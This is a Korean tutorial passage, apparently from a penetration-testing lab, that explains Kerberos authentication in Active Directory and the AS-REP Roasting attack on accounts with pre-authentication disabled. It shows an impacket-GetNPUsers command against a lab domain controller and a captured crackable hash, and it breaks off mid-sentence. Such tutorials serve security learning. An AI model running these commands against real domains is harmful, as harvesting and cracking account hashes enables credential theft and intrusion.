AS는 티켓인 Key를 분포하는 곳인, Key Distribution Center의 약어입니다.
Active Directory 환경에서는 Domain Controller가 AS/KDC의 역할을 합니다.
Alice는 본인의 계정정보로 로그인 한 이후 DC로 본인의 ID와 Timestamp를
해쉬화된 패스워드로 암호화한 것을 DC에게 전송하여 TGT 발급 요청
DC는 Alice의 해쉬 암호로 암호화된 Alice에 대한 정보와 비밀키 Sa를 발급
Alice는 자신의 해쉬 암호로 해당 정보를 복호화하여 TGT를 획득
획득한 TGT를 가지고 DC에 ST 요청
(요청을 할 때는 TGT 정보와 함께 현재 시간(TimeStamp)를 Sa로 암호화하여 전송
DC는 Sa로 복호화한 TimeStamp 정보를 구해서 일치한다면 ST 발급
Alice는 ST을 가지고 서비스를 이용할 수 있음
발급된 ST은 Service Admin의 NT Hash 정보로 암호화 되어있음
단계를 통해 알 수 있듯이 Kerberos 프로토콜을 사용해 TGT를 발급받기 위해
AS-REQ 단계에서 현재 시간을 해쉬 패스워드로 암호화하여 전송해야 합니다.
그렇기 때문에 공격자들은 일반적인 상황에서는 사용자의 계정정보를 알지 못하는 이상
AS-REQ를 통해서 해쉬 크래킹을 시도하지 못합니다.
하지만 Active Directory 설정 중에는
Do not require preauthentication 이라는 설정이 존재합니다.
이름 그대로 사전 인증을 요구받지 않는다는 설정인데,
이 설정으로 인해 AS-REQ 과정을 건너뛰고 누구나 사용자의 패스워드 없이
해당 사용자의 TGT를 발급받을 수 있습니다.
즉 해당 설정이 된 사용자의 계정으로는
누구든지 사용자의 NT Hash로 암호화된 정보를 가질 수 있다는 것이고
해쉬 크래킹을 통해 평문 패스워드를 도출할 수 있습니다.
Practice
┌──(root㉿kali)-[~/Pentest]
└─# cat users.txt
Administrator
krbtgt
Guest
wiki
획득한 AD 내의 사용자 계정 리스트를 사전파일 포맷으로 저장합니다.
저장한 후에는 AS-REP-Roasting에 취약한 설정이 되어있는 유저를 찾기 위해서
브루트포스 형식의 공격을 해주는데, impacket-GetNPUsers 모듈을 사용해줍니다.
┌──(root㉿kali)-[~/Pentest]
└─# impacket-GetNPUsers offsec.local/'' -usersfile users.txt -dc-ip 10.0.2.10 -outputfile as.result
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$wiki@OFFSEC.LOCAL:9facb153497ffb10f7eeb2d83753c9b4$35548ac56eaff4c556a3ccdd31a62180ef7bdbaaf9ee6c98effea4f1544aebb20f67de345523e4ba6fb5646734c9be89c5c63c46007292b22721021f84a286550e7b93d25bfbfdcbc91b20bac90571ef9270fa1056104a78881abf1772262b362fa2fd0c0ad323d0fda547a0dc6f775ac126b1eb9facce9ace69fde371d5a0ba8983f3f014b7cb7bfebffe0d777ab1e0895caf507a950d189983696de33fb1eb4a8bc5020a86a466bd48cbada643f3d530c12312fb4bf60d0729f4c9c4e7e176805c9c62d0e4cedcea5ae82cd801bc3827998864b9d5af577b33eb7c5abff160e6a493d3fe8c981a5f39a397
많은 계정 중에 wiki 라는 사용자 계정만이 Do not require preauthentication 설정이